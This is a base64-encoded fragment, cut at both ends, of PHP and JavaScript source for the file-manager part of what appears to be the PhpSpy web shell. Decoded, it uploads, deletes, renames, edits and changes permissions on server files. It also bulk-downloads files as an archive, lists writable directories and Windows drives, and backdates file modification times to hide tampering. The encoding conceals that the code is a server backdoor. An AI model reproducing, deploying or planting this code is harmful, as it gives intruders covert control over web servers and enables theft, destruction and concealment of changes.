1cjokbWludXRlOiRzZWNvbmQiKTsgDQogICAgICAgICAgICBtKCdNb2RpZnkgZmlsZSB0aGUgbGFzdCBtb2RpZmllZCAnLihAdG91Y2goJGN1cmZpbGUsJHRpbWUsJHRpbWUpID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsgDQogICAgICAgIH0gDQogICAgfSANCg0KICAgIC8vICAgICAgICAgIA0KICAgIGVsc2VpZigkZG9pbmcgPT0gJ2Rvd25yYXInKSB7IA0KICAgICAgICBpZiAoJGRsKSB7IA0KICAgICAgICAgICAgJGRmaWxlcz0nJzsgDQogICAgICAgICAgICBmb3JlYWNoICgkZGwgYXMgJGZpbGVwYXRoID0+ICR2YWx1ZSkgeyANCiAgICAgICAgICAgICAgICAkZGZpbGVzLj0kZmlsZXBhdGguJywnOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICAkZGZpbGVzPXN1YnN0cigkZGZpbGVzLDAsc3RybGVuKCRkZmlsZXMpLTEpOyANCiAgICAgICAgICAgICRkbD1leHBsb2RlKCcsJywkZGZpbGVzKTsgDQogICAgICAgICAgICAkemlwPW5ldyBQSFBaaXAoJGRsKTsgDQogICAgICAgICAgICAkY29kZT0kemlwLT5vdXQ7IA0KICAgICAgICAgICAgaGVhZGVyKCdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScpOyANCiAgICAgICAgICAgIGhlYWRlcignQWNjZXB0LVJhbmdlczogYnl0ZXMnKTsgDQogICAgICAgICAgICBoZWFkZXIoJ0FjY2VwdC1MZW5ndGg6ICcuc3RybGVuKCRjb2RlKSk7IA0KICAgICAgICAgICAgaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50O2ZpbGVuYW1lPScuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLidfRmlsZXMudGFyLmd6Jyk7IA0KICAgICAgICAgICAgZWNobyAkY29kZTsgDQogICAgICAgICAgICBleGl0OyANCiAgICAgICAgfSBlbHNlIHsgDQogICAgICAgICAgICBtKCdQbGVhc2Ugc2VsZWN0IGZpbGUocyknKTsgDQogICAgICAgIH0gDQogICAgfSANCg0KICAgIC8vICAgICA/ICAgPyAgDQogICAgZWxzZWlmKCRkb2luZyA9PSAnZGVsZmlsZXMnKSB7IA0KICAgICAgICBpZiAoJGRsKSB7IA0KICAgICAgICAgICAgJGRmaWxlcz0nJzsgDQogICAgICAgICAgICAkc3VjYyA9ICRmYWlsID0gMDsgDQogICAgICAgICAgICBmb3JlYWNoICgkZGwgYXMgJGZpbGVwYXRoID0+ICR2YWx1ZSkgeyANCiAgICAgICAgICAgICAgICBpZiAoQHVubGluaygkZmlsZXBhdGgpKSB7IA0KICAgICAgICAgICAgICAgICAgICAkc3VjYysrOyANCiAgICAgICAgICAgICAgICB9IGVsc2UgeyANCiAgICAgICAgICAgICAgICAgICAgJGZhaWwrKzsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICBtKCdEZWxldGVkIGZpbGUgaGF2ZSBmaW5pc2hlZCAgY2hvb3NlICcuY291bnQoJGRsKS4nIHN1Y2Nlc3MgJy4kc3VjYy4nIGZhaWwgJy4kZmFpbCk7IA0KICAgICAgICB9IGVsc2UgeyANCiAgICAgICAgICAgIG0oJ1BsZWFzZSBzZWxlY3QgZmlsZShzKScpOyANCiAgICAgICAgfSANCiAgICB9IA0KDQogICAgLy8gICAgICAgICANCiAgICBmb3JtaGVhZChhcnJheSgnbmFtZSc9PidjcmVhdGVkaXInKSk7IA0KICAgIG1ha2VoaWRlKCduZXdkaXJuYW1lJyk7IA0KICAgIG1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsgDQogICAgZm9ybWZvb3QoKTsgDQogICAgZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nZmlsZXBlcm0nKSk7IA0KICAgIG1ha2VoaWRlKCduZXdwZXJtJyk7IA0KICAgIG1ha2VoaWRlKCdwZmlsZScpOyANCiAgICBtYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7IA0KICAgIGZvcm1mb290KCk7IA0KICAgIGZvcm1oZWFkKGFycmF5KCduYW1lJz0+J2NvcHlmaWxlJykpOyANCiAgICBtYWtlaGlkZSgnc25hbWUnKTsgDQogICAgbWFrZWhpZGUoJ3RvZmlsZScpOyANCiAgICBtYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7IA0KICAgIGZvcm1mb290KCk7IA0KICAgIGZvcm1oZWFkKGFycmF5KCduYW1lJz0+J3JlbmFtZScpKTsgDQogICAgbWFrZWhpZGUoJ29sZG5hbWUnKTsgDQogICAgbWFrZWhpZGUoJ25ld2ZpbGVuYW1lJyk7IA0KICAgIG1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsgDQogICAgZm9ybWZvb3QoKTsgDQogICAgZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nZmlsZW9wZm9ybScpKTsgDQogICAgbWFrZWhpZGUoJ2FjdGlvbicpOyANCiAgICBtYWtlaGlkZSgnb3BmaWxlJyk7IA0KICAgIG1ha2VoaWRlKCdkaXInKTsgDQogICAgZm9ybWZvb3QoKTsgDQoNCiAgICAkZnJlZSA9IEBkaXNrX2ZyZWVfc3BhY2UoJG5vd3BhdGgpOyANCiAgICAhJGZyZWUgJiYgJGZyZWUgPSAwOyANCiAgICAkYWxsID0gQGRpc2tfdG90YWxfc3BhY2UoJG5vd3BhdGgpOyANCiAgICAhJGFsbCAmJiAkYWxsID0gMDsgDQogICAgJHVzZWQgPSAkYWxsLSRmcmVlOyANCiAgICAkdXNlZF9wZXJjZW50ID0gQHJvdW5kKDEwMC8oJGFsbC8kZnJlZSksMik7IA0KICAgIHAoJzxoMj5GaWxlIE1hbmFnZXIgLSBDdXJyZW50IGRpc2sgZnJlZSAnLnNpemVjb3VudCgkZnJlZSkuJyBvZiAnLnNpemVjb3VudCgkYWxsKS4nICgnLiR1c2VkX3BlcmNlbnQuJyUpPC9oMj4nKTsgDQoNCj8+IA0KPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgc3R5bGU9Im1hcmdpbjoxMHB4IDA7Ij4gDQogIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGlkPSJnb2RpciIgbmFtZT0iZ29kaXIiPiANCiAgPHRyPiANCiAgICA8dGQgbm93cmFwPkN1cnJlbnQgRGlyZWN0b3J5ICg8P3BocCBlY2hvICRkaXJfd3JpdGVhYmxlOz8+LCA8P3BocCBlY2hvIGdldENobW9kKCRub3dwYXRoKTs/Pik8L3RkPiANCiAgICA8dGQgd2lkdGg9IjEwMCUiPjxpbnB1dCBuYW1lPSJ2aWV3X3dyaXRhYmxlIiB2YWx1ZT0iMCIgdHlwZT0iaGlkZGVuIiAvPjxpbnB1dCBjbGFzcz0iaW5wdXQiIG5hbWU9ImRpciIgdmFsdWU9Ijw/cGhwIGVjaG8gJG5vd3BhdGg7Pz4iIHR5cGU9InRleHQiIHN0eWxlPSJ3aWR0aDoxMDAlO21hcmdpbjowIDhweDsiPjwvdGQ+IA0KICAgIDx0ZCBub3dyYXA+PGlucHV0IGNsYXNzPSJidCIgdmFsdWU9IkdPIiB0eXBlPSJzdWJtaXQiPjwvdGQ+IA0KICA8L3RyPiANCiAgPC9mb3JtPiANCjwvdGFibGU+IA0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPiANCmZ1bmN0aW9uIGNyZWF0ZWRpcigpeyANCiAgICB2YXIgbmV3ZGlybmFtZTsgDQogICAgbmV3ZGlybmFtZSA9IHByb21wdCgnUGxlYXNlIGlucHV0IHRoZSBkaXJlY3RvcnkgbmFtZTonLCAnJyk7IA0KICAgIGlmICghbmV3ZGlybmFtZSkgcmV0dXJuOyANCiAgICAkKCdjcmVhdGVkaXInKS5uZXdkaXJuYW1lLnZhbHVlPW5ld2Rpcm5hbWU7IA0KICAgICQoJ2NyZWF0ZWRpcicpLnN1Ym1pdCgpOyANCn0gDQpmdW5jdGlvbiBmaWxlcGVybShwZmlsZSl7IA0KICAgIHZhciBuZXdwZXJtOyANCiAgICBuZXdwZXJtID0gcHJvbXB0KCdDdXJyZW50IGZpbGU6JytwZmlsZSsnXG5QbGVhc2UgaW5wdXQgbmV3IGF0dHJpYnV0ZTonLCAnJyk7IA0KICAgIGlmICghbmV3cGVybSkgcmV0dXJuOyANCiAgICAkKCdmaWxlcGVybScpLm5ld3Blcm0udmFsdWU9bmV3cGVybTsgDQogICAgJCgnZmlsZXBlcm0nKS5wZmlsZS52YWx1ZT1wZmlsZTsgDQogICAgJCgnZmlsZXBlcm0nKS5zdWJtaXQoKTsgDQp9IA0KZnVuY3Rpb24gY29weWZpbGUoc25hbWUpeyANCiAgICB2YXIgdG9maWxlOyANCiAgICB0b2ZpbGUgPSBwcm9tcHQoJ09yaWdpbmFsIGZpbGU6JytzbmFtZSsnXG5QbGVhc2UgaW5wdXQgb2JqZWN0IGZpbGUgKGZ1bGxwYXRoKTonLCAnJyk7IA0KICAgIGlmICghdG9maWxlKSByZXR1cm47IA0KICAgICQoJ2NvcHlmaWxlJykudG9maWxlLnZhbHVlPXRvZmlsZTsgDQogICAgJCgnY29weWZpbGUnKS5zbmFtZS52YWx1ZT1zbmFtZTsgDQogICAgJCgnY29weWZpbGUnKS5zdWJtaXQoKTsgDQp9IA0KZnVuY3Rpb24gcmVuYW1lKG9sZG5hbWUpeyANCiAgICB2YXIgbmV3ZmlsZW5hbWU7IA0KICAgIG5ld2ZpbGVuYW1lID0gcHJvbXB0KCdGb3JtZXIgZmlsZSBuYW1lOicrb2xkbmFtZSsnXG5QbGVhc2UgaW5wdXQgbmV3IGZpbGVuYW1lOicsICcnKTsgDQogICAgaWYgKCFuZXdmaWxlbmFtZSkgcmV0dXJuOyANCiAgICAkKCdyZW5hbWUnKS5uZXdmaWxlbmFtZS52YWx1ZT1uZXdmaWxlbmFtZTsgDQogICAgJCgncmVuYW1lJykub2xkbmFtZS52YWx1ZT1vbGRuYW1lOyANCiAgICAkKCdyZW5hbWUnKS5zdWJtaXQoKTsgDQp9IA0KZnVuY3Rpb24gZG9maWxlKGRvaW5nLHRoZWZpbGUsbSl7IA0KICAgIGlmIChtICYmICFjb25maXJtKG0pKSB7IA0KICAgICAgICByZXR1cm47IA0KICAgIH0gDQogICAgJCgnZmlsZWxpc3QnKS5kb2luZy52YWx1ZT1kb2luZzsgDQogICAgaWYgKHRoZWZpbGUpeyANCiAgICAgICAgJCgnZmlsZWxpc3QnKS50aGVmaWxlLnZhbHVlPXRoZWZpbGU7IA0KICAgIH0gDQogICAgJCgnZmlsZWxpc3QnKS5zdWJtaXQoKTsgDQp9IA0KZnVuY3Rpb24gY3JlYXRlZmlsZShub3dwYXRoKXsgDQogICAgdmFyIGZpbGVuYW1lOyANCiAgICBmaWxlbmFtZSA9IHByb21wdCgnUGxlYXNlIGlucHV0IHRoZSBmaWxlIG5hbWU6JywgJycpOyANCiAgICBpZiAoIWZpbGVuYW1lKSByZXR1cm47IA0KICAgIG9wZmlsZSgnZWRpdGZpbGUnLG5vd3BhdGggKyBmaWxlbmFtZSxub3dwYXRoKTsgDQp9IA0KZnVuY3Rpb24gb3BmaWxlKGFjdGlvbixvcGZpbGUsZGlyKXsgDQogICAgJCgnZmlsZW9wZm9ybScpLmFjdGlvbi52YWx1ZT1hY3Rpb247IA0KICAgICQoJ2ZpbGVvcGZvcm0nKS5vcGZpbGUudmFsdWU9b3BmaWxlOyANCiAgICAkKCdmaWxlb3Bmb3JtJykuZGlyLnZhbHVlPWRpcjsgDQogICAgJCgnZmlsZW9wZm9ybScpLnN1Ym1pdCgpOyANCn0gDQpmdW5jdGlvbiBnb2RpcihkaXIsdmlld193cml0YWJsZSl7IA0KICAgIGlmICh2aWV3X3dyaXRhYmxlKSB7IA0KICAgICAgICAkKCdnb2RpcicpLnZpZXdfd3JpdGFibGUudmFsdWU9MTsgDQogICAgfSANCiAgICAkKCdnb2RpcicpLmRpci52YWx1ZT1kaXI7IA0KICAgICQoJ2dvZGlyJykuc3VibWl0KCk7IA0KfSANCjwvc2NyaXB0PiANCiAgPD9waHAgDQogICAgdGJoZWFkKCk7IA0KICAgIHAoJzxmb3JtIGFjdGlvbj0iJy4kc2VsZi4nIiBtZXRob2Q9IlBPU1QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPjx0ciBjbGFzcz0iYWx0MSI+PHRkIGNvbHNwYW49IjciIHN0eWxlPSJwYWRkaW5nOjVweDsiPicpOyANCiAgICBwKCc8ZGl2IHN0eWxlPSJmbG9hdDpyaWdodDsiPjxpbnB1dCBjbGFzcz0iaW5wdXQiIG5hbWU9InVwbG9hZGZpbGUiIHZhbHVlPSIiIHR5cGU9ImZpbGUiIC8+IDxpbnB1dCBjbGFzcz0iYnQiIG5hbWU9ImRvdXBmaWxlIiB2YWx1ZT0iVXBsb2FkIiB0eXBlPSJzdWJtaXQiIC8+PGlucHV0IG5hbWU9InVwbG9hZGRpciIgdmFsdWU9IicuJGRpci4nIiB0eXBlPSJoaWRkZW4iIC8+PGlucHV0IG5hbWU9ImRpciIgdmFsdWU9IicuJGRpci4nIiB0eXBlPSJoaWRkZW4iIC8+PC9kaXY+Jyk7IA0KICAgIHAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0uJ1wnKTsiPldlYlJvb3Q8L2E+Jyk7IA0KICAgIGlmICgkdmlld193cml0YWJsZSkgeyANCiAgICAgICAgcCgnIHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuJG5vd3BhdGguJ1wnKTsiPlZpZXcgQWxsPC9hPicpOyANCiAgICB9IGVsc2UgeyANCiAgICAgICAgcCgnIHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuJG5vd3BhdGguJ1wnLFwnMVwnKTsiPlZpZXcgV3JpdGFibGU8L2E+Jyk7IA0KICAgIH0gDQogICAgcCgnIHwgPGEgaHJlZj0iamF2YXNjcmlwdDpjcmVhdGVkaXIoKTsiPkNyZWF0ZSBEaXJlY3Rvcnk8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpjcmVhdGVmaWxlKFwnJy4kbm93cGF0aC4nXCcpOyI+Q3JlYXRlIEZpbGU8L2E+Jyk7IA0KICAgIGlmIChJU19XSU4gJiYgSVNfQ09NKSB7IA0KICAgICAgICAkb2JqID0gbmV3IENPTSgnc2NyaXB0aW5nLmZpbGVzeXN0ZW1vYmplY3QnKTsgDQogICAgICAgIGlmICgkb2JqICYmIGlzX29iamVjdCgkb2JqKSkgeyANCiAgICAgICAgICAgICREcml2ZVR5cGVEQiA9IGFycmF5KDAgPT4gJ1Vua25vdycsMSA9PiAnUmVtb3ZhYmxlJywyID0+ICdGaXhlZCcsMyA9PiAnTmV0d29yaycsNCA9PiAnQ0RSb20nLDUgPT4gJ1JBTSBEaXNrJyk7IA0KICAgICAgICAgICAgZm9yZWFjaCgkb2JqLT5Ecml2ZXMgYXMgJGRyaXZlKSB7IA0KICAgICAgICAgICAgICAgIGlmICgkZHJpdmUtPkRyaXZlVHlwZSA9PSAyKSB7IA0KICAgICAgICAgICAgICAgICAgICBwKCcgfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvZGlyKFwnJy4kZHJpdmUtPlBhdGguJy9cJyk7IiB0aXRsZT0iU2l6ZTonLnNpemVjb3VudCgkZHJpdmUtPlRvdGFsU2l6ZSkuJw0KRnJlZTonLnNpemVjb3VudCgkZHJpdmUtPkZyZWVTcGFjZSkuJw0KVHlwZTonLiREcml2ZVR5cGVEQlskZHJpdmUtPkRyaXZlVHlwZV0uJyI+Jy4kRHJpdmVUeXBlREJbJGRyaXZlLT5Ecml2ZVR5cGVdLicoJy4kZHJpdmUtPlBhdGguJyk8L2E+Jyk7IA0KICAgICAgICAgICAgICAgIH0gZWxzZSB7IA0KICAgICAgICAgICAgICAgICAgICBwKCcgfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvZGlyKFwnJy4kZHJpdmUtPlBhdGguJy9cJyk7IiB0aXRsZT0iVHlwZTonLiREcml2ZVR5cGVEQlskZHJpdmUtPkRyaXZlVHlwZV0uJyI+Jy4kRHJpdmVUeXBlREJbJGRyaXZlLT5Ecml2ZVR5cGVdLicoJy4kZHJpdmUtPlBhdGguJyk8L2E+Jyk7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICB9IA0KICAgICAgICB9IA0KICAgIH0gDQoNCiAgICBwKCc8L3RkPjwvdHI+PC9mb3JtPicpOyANCg0KICAgIHAoJzx0ciBjbGFzcz0iaGVhZCI+PHRkPiZuYnNwOzwvdGQ+PHRkPkZpbGVuYW1lPC90ZD48dGQgd2lkdGg9IjE2JSI+TGFzdCBtb2RpZmllZDwvdGQ+PHRkIHdpZHRoPSIxMCUiPlNpemU8L3RkPjx0ZCB3aWR0aD0iMjAlIj5DaG1vZCAvIFBlcm1zPC90ZD48dGQgd2lkdGg9IjIyJSI+QWN0aW9uPC90ZD48L3RyPicpOyANCg0KICAgIC8vID8gICA/ID8gPyAgID/CvCANCiAgICAkZGlyZGF0YT1hcnJheSgpOyANCiAgICAkZmlsZWRhdGE9YXJyYXkoKTsgDQoNCiAgICBpZiAoJHZpZXdfd3JpdGFibGUpIHsgDQogICAgICAgICRkaXJkYXRhID0gR2V0TGlzdCgkbm93cGF0aCk7IA0KICAgIH0gZWxzZSB7IA0KICAgICAgICAvLyA/wrwgPyAgDQogICAgICAgICRkaXJzPUBvcGVuZGlyKCRkaXIpOyANCiAgICAgICAgd2hpbGUgKCRmaWxlPUByZWFkZGlyKCRkaXJzKSkgeyANCiAgICAgICAgICAgICRmaWxlcGF0aD0kbm93cGF0aC4kZmlsZTsgDQogICAgICAgICAgICBpZihAaXNfZGlyKCRmaWxlcGF0aCkpeyANCiAgICAgICAgICAgICAgICAkZGlyZGJbJ2ZpbGVuYW1lJ109JGZpbGU7IA0KICAgICAgICAgICAgICAgICRkaXJkYlsnbXRpbWUnXT1AZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVtdGltZSgkZmlsZXBhdGgpKTsgDQogICAgICAgICAgICAgICAgJGRpcmRiWydkaXJjaG1vZCddPWdldENobW9kKCRmaWxlcGF0aCk7IA0KICAgICAgICAgICAgICAgICRkaXJkYlsnZGlycGVybSddPWdldFBlcm1zKCRmaWxlcGF0aCk7IA0KICAgICAgICAgICAgICAgICRkaXJkYlsnZmlsZW93bmVyJ109Z2V0VXNlcigkZmlsZXBhdGgpOyANCiAgICAgICAgICAgICAgICAkZGlyZGJbJ2RpcmxpbmsnXT0kbm93cGF0aDsgDQogICAgICAgICAgICAgICAgJGRpcmRiWydzZXJ2ZXJfbGluayddPSRmaWxlcGF0aDsgDQogICAgICAgICAgICAgICAgJGRpcmRiWydjbGllbnRfbGluayddPXVlKCRmaWxlcGF0aCk7IA0KICAgICAgICAgICAgICAgICRkaXJkYXRhW109JGRpcmRiOyANCiAgICAgICAgICAgIH0gZWxzZSB7ICAgICAgICAgDQogICAgICAgICAgICAgICAgJGZpbGVkYlsnZmlsZW5hbWUnXT0kZmlsZTsgDQogICAgICAgICAgICAgICAgJGZpbGVkYlsnc2l6ZSddPXNpemVjb3VudChAZmlsZXNpemUoJGZpbGVwYXRoKSk7IA0KICAgICAgICAgICAgICAgICRmaWxlZGJbJ210aW1lJ109QGRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlbXRpbWUoJGZpbGVwYXRoKSk7IA0KICAgICAgICAgICAgICAgICRmaWxlZGJbJ2ZpbGVjaG1vZCddPWdldENobW9kKCRmaWxlcGF0aCk7IA0KICAgICAgICAgICAgICAgICRmaWxlZGJbJ2ZpbGVwZXJtJ109Z2V0UGVybXMoJGZpbGVwYXRoKTsgDQogICAgICAgICAgICAgICAgJGZpbGVkYlsnZmlsZW93bmVyJ109Z2V0VXNlcigkZmlsZXBhdGgpOyANCiAgICAgICAgICAgICAgICAkZmlsZWRiWydkaXJsaW5rJ109JG5vd3BhdGg7IA0KICAgICAgICAgICAgICAgICRmaWxlZGJbJ3NlcnZlcl9saW5rJ109JGZpbGVwYXRoOyANCiAgICAgICAgICAgICAgICAkZmlsZWRiWydjbGllbnRfbGluayddPXVlKCRmaWxlcGF0aCk7IA0KICAgICAgICAgICAgICAgICRmaWxlZGF0YVtdPSRmaWxlZGI7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgfS8vIHdoaWxlIA0KICAgICAgICB1bnNldCgkZGlyZGIpOyANCiAgICAgICAgdW5zZXQoJGZpbGVkYik7IA0KICAgICAgICBAY2xvc2VkaXIoJGRpcnMpOyANCiAgICB9IA0KICAgIEBzb3J0KCRkaXJkYXRhKTsgDQogICAgQHNvcnQoJGZpbGVkYXRhKTsgDQogICAgJGRpcl9pID0gJzAnOyANCiAgICBmb3JlYWNoKCRkaXJkYXRhIGFzICRrZXkgPT4gJGRpcmRiKXsgDQogICAgICAgIGlmKCRkaXJkYlsnZmlsZW5hbWUnXSE9Jy4uJyAmJiAkZGlyZGJbJ2ZpbGVuYW1lJ10hPScuJykgeyANCiAgICAgICAgICAgICR0aGlzYmcgPSBiZygpOyANCiAgICAgICAgICAgIHAoJzx0ciBjbGFzcz0iJy4kdGhpc2JnLiciIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJycuJHRoaXNiZy4nXCc7Ij4nKTsgDQogICAgICAgICAgICBwKCc8dGQgd2lkdGg9IjIlIiBub3dyYXA+PGZvbnQgZmFjZT0id2luZ2RpbmdzIiBzaXplPSIzIj4wPC9mb250PjwvdGQ+Jyk7IA0KICAgICAgICAgICAgcCgnPHRkPjxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRkaXJkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+Jy4kZGlyZGJbJ2ZpbGVuYW1lJ10uJzwvYT48L3RkPicpOyANCiAgICAgICAgICAgIHAoJzx0ZCBub3dyYXA+Jy4kZGlyZGJbJ210aW1lJ10uJzwvdGQ+Jyk7IA0KICAgICAgICAgICAgcCgnPHRkIG5vd3JhcD4tLTwvdGQ+Jyk7IA0KICAgICAgICAgICAgcCgnPHRkIG5vd3JhcD4nKTsgDQogICAgICAgICAgICBwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmZpbGVwZXJtKFwnJy4kZGlyZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPicuJGRpcmRiWydkaXJjaG1vZCddLic8L2E+IC8gJyk7IA0KICAgICAgICAgICAgcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpmaWxlcGVybShcJycuJGRpcmRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRkaXJkYlsnZGlycGVybSddLic8L2E+Jy4kZGlyZGJbJ2ZpbGVvd25lciddLic8L3RkPicpOyANCiAgICAgICAgICAgIHAoJzx0ZCBub3dyYXA+PGEgaHJlZj0iamF2YXNjcmlwdDpkb2ZpbGUoXCdkZWxkaXJcJyxcJycuJGRpcmRiWydzZXJ2ZXJfbGluayddLidcJyxcJ0FyZSB5b3Ugc3VyZSB3aWxsIGRlbGV0ZSAnLiRkaXJkYlsnZmlsZW5hbWUnXS4nPyBcXG5cXG5JZiBub24tZW1wdHkgZGlyZWN0b3J5LCB3aWxsIGJlIGRlbGV0ZSBhbGwgdGhlIGZpbGVzLlwnKSI+RGVsPC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6cmVuYW1lKFwnJy4kZGlyZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPlJlbmFtZTwvYT48L3RkPicpOyANCiAgICAgICAgICAgIHAoJzwvdHI+Jyk7IA0KICAgICAgICAgICAgJGRpcl9pKys7IA0KICAgICAgICB9IGVsc2UgeyANCiAgICAgICAgICAgIGlmKCRkaXJkYlsnZmlsZW5hbWUnXT09Jy4uJykgeyANCiAgICAgICAgICAgICAgICBwKCc8dHIgY2xhc3M9Jy5iZygpLic+Jyk7IA0KICAgICAgICAgICAgICAgIHAoJzx0ZCBhbGlnbj0iY2VudGVyIj48Zm9udCBmYWNlPSJXaW5nZGluZ3MgMyIgc2l6ZT00Pj08L2ZvbnQ+PC90ZD48dGQgbm93cmFwIGNvbHNwYW49IjUiPjxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLmdldFVwUGF0aCgkbm93cGF0aCkuJ1wnKTsiPlBhcmVudCBEaXJlY3Rvcnk8L2E+PC90ZD4nKTsgDQogICAgICAgICAgICAgICAgcCgnPC90cj4nKTsgDQogICAgICAgICAgICB9IA0KICAgICAgICB9IA0KICAgIH0gDQoNCiAgICBwKCc8dHIgYmdjb2xvcj0iI2RkZGRkZCIgc3RseWU9ImJvcmRlci10b3A6MXB4IHNvbGlkICNmZmY7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgI2RkZDsiPjx0ZCBjb2xzcGFuPSI2IiBoZWlnaHQ9IjUiPjwvdGQ+PC90cj4nKTsgDQogICAgcCgnPGZvcm0gaWQ9ImZpbGVsaXN0IiBuYW1lPSJmaWxlbGlzdCIgYWN0aW9uPSInLiRzZWxmLiciIG1ldGhvZD0icG9zdCI+Jyk7IA0KICAgIG1ha2VoaWRlKCdhY3Rpb24nLCdmaWxlJyk7IA0KICAgIG1ha2VoaWRlKCd0aGVmaWxlJyk7IA0KICAgIG1ha2VoaWRlKCdkb2luZycpOyANCiAgICBtYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7IA0KICAgICRmaWxlX2kgPSAnMCc7IA0KICAgIGZvcmVhY2goJGZpbGVkYXRhIGFzICRrZXkgPT4gJGZpbGVkYil7IA0KICAgICAgICBpZigkZmlsZWRiWydmaWxlbmFtZSddIT0nLi4nICYmICRmaWxlZGJbJ2ZpbGVuYW1lJ10hPScuJykgeyANCiAgICAgICAgICAgICRmaWxldXJsID0gc3RyX3JlcGxhY2UoU0FfUk9PVCwnJywkZmlsZWRiWydzZXJ2ZXJfbGluayddKTsgDQogICAgICAgICAgICAkdGhpc2JnID0gYmcoKTsgDQogICAgICAgICAgICBwKCc8dHIgY2xhc3M9IicuJHRoaXNiZy4nIiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCcnLiR0aGlzYmcuJ1wnOyI+Jyk7IA0KICAgICAgICAgICAgcCgnPHRkIHdpZHRoPSIyJSIgbm93cmFwPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgdmFsdWU9IjEiIG5hbWU9ImRsWycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXSI+PC90ZD4nKTsgDQogICAgICAgICAgICBwKCc8dGQ+PGEgaHJlZj0iJy4kZmlsZXVybC4nIiB0YXJnZXQ9Il9ibGFuayI+Jy4kZmlsZWRiWydmaWxlbmFtZSddLic8L2E+PC90ZD4nKTsgDQogICAgICAgICAgICBwKCc8dGQgbm93cmFwPicuJGZpbGVkYlsnbXRpbWUnXS4nPC90ZD4nKTsgDQogICAgICAgICAgICBwKCc8dGQgbm93cmFwPicuJGZpbGVkYlsnc2l6ZSddLic8L3RkPicpOyANCiAgICAgICAgICAgIHAoJzx0ZCBub3dyYXA+Jyk7IA0KICAgICAgICAgICAgcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpmaWxlcGVybShcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+Jy4kZmlsZWRiWydmaWxlY2htb2QnXS4nPC9hPiAvICcpOyANCiAgICAgICAgICAgIHAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6ZmlsZXBlcm0oXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPicuJGZpbGVkYlsnZmlsZXBlcm0nXS4nPC9hPicuJGZpbGVkYlsnZmlsZW93bmVyJ10uJzwvdGQ+Jyk7IA0KICAgICAgICAgICAgcCgnPHRkIG5vd3JhcD4nKTsgDQogICAgICAgICAgICBwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmRvZmlsZShcJ2Rvd25maWxlXCcsXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPkRvd248L2E+IHwgJyk7IA0KICAgICAgICAgICAgcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpjb3B5ZmlsZShcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+Q29weTwvYT4gfCAnKTsgDQogICAgICAgICAgICBwKCc8YSBocmVmPSJqYXZhc2NyaXB0Om9wZmlsZShcJ2VkaXRmaWxlXCcsXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnLFwnJy4kZmlsZWRiWydkaXJsaW5rJ10uJ1wnKTsiPkVkaXQ8L2E+IHwgJyk7IA0KICAgICAgICAgICAgcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpyZW5hbWUoXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPlJlbmFtZTwvYT4gfCAnKTsgDQogICAgICAgICAgICBwKCc8YSBocmVmPSJqYXZhc2NyaXB0Om9wZmlsZShcJ25ld3RpbWVcJyxcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcsXCcnLiRmaWxlZGJbJ2RpcmxpbmsnXS4n